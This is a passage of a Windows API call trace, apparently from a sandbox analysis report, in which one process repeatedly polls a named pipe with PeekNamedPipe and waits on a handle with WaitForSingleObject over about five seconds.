lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.186] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.214] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.283] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.283] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.312] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.355] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.416] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.448] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.448] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.478] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.479] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.509] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.510] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.542] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.574] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.574] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.963] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.003] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.678] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.679] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.957] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.967] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.183] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.186] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.219] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.269] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.353] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.353] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.563] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.594] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.691] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.692] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.723] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.754] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.785] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.785] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.830] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.847] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.848] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.879] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.910] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.942] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.004] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.004] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.066] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.097] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.097] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.129] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.129] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.159] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.159] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.191] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.224] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.253] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.284] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.284] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.409] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.440] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.440] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.503] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.503] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.534] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.534] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.565] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.565] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.597] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.597] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.628] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.628] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.659] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.659] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.690] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.690] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.721] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.721] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.783] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.815] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.815] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.846] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.937] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.937] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.955] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.955] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.986] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.017] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.049] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.080] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.080] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.111] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.142] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.174] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.246] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.267] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, 